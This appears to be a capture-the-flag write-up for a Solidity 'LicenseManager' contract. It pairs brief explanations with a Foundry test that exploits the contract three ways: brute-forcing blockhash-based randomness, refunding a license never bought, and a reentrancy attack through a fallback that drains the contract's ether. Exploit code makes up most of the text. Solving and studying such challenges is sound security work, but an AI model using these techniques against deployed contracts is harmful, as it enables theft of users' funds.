As an attacker, we can get a license with 0.01 ether through winLicense(). pickedNumber should be less than maxThreshold to get the license. We can not change the msg.value because we only have 0.01 ether which is the minimum required amount. Thus, we just wait until the block hash of the previous block satisfies the condition.
Since refundLicense() does not check if msg.sender is in the licensed array, we can refund the license and get 1 ether.
collect the ethers in the contract before the owner notices in second way
We can buy a license since we have 1 ether this time. The licenseOwners is set to false after ETH transfer, so we can reentrant refundLicense() to get more ETH.
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import"forge-std/Test.sol";import"../src/LicenseManager.sol";/** * @title Test contract for LicenseManager */contractLicenseManagerTestisTest{LicenseManagerlicense;addressowner=makeAddr("owner");addressuser1=makeAddr("user1");addressuser2=makeAddr("user2");addressuser3=makeAddr("user3");addressuser4=makeAddr("user4");addressattacker=makeAddr("attacker");functionsetUp()public{vm.prank(owner);license=newLicenseManager();vm.deal(user1,1ether);vm.deal(user2,1ether);vm.deal(user3,1ether);vm.deal(user4,1ether);vm.prank(user1);license.buyLicense{value:1ether}();vm.prank(user2);license.buyLicense{value:1ether}();vm.prank(user3);license.buyLicense{value:1ether}();vm.prank(user4);license.buyLicense{value:1ether}();}functiontest_exploit1_2()public{vm.deal(attacker,0.01ether);vm.startPrank(attacker);// Challenge 1 solutionuintpickedNumber=uint(keccak256(abi.encodePacked(uint256(0.01ether),attacker,uint(1337),blockhash(block.number-1))))%100;uintmaxThreshold=uint(0.01ether/1e16);while(pickedNumber>=maxThreshold){vm.roll(block.number+1);pickedNumber=uint(keccak256(abi.encodePacked(uint256(0.01ether),attacker,uint(1337),blockhash(block.number-1))))%100;}license.winLicense{value:0.01ether}();// EndassertEq(true,license.checkLicense());vm.stopPrank();vm.startPrank(attacker);// Challenge 2.1 solutionlicense.refundLicense();// EndassertGt(attacker.balance,0.1ether);vm.stopPrank();}/// collect the ethers in the contract before the owner notices in second way.functiontest_exploit3()public{vm.deal(address(this),1ether);// challenge 2.2 solutionlicense.buyLicense{value:1ether}();license.refundLicense();// Endconsole.log("\tFinal Balance\t",address(this).balance);assertGt(address(this).balance,1ether);}fallback()externalpayable{if(msg.sender.balance>=1ether)license.refundLicense();}}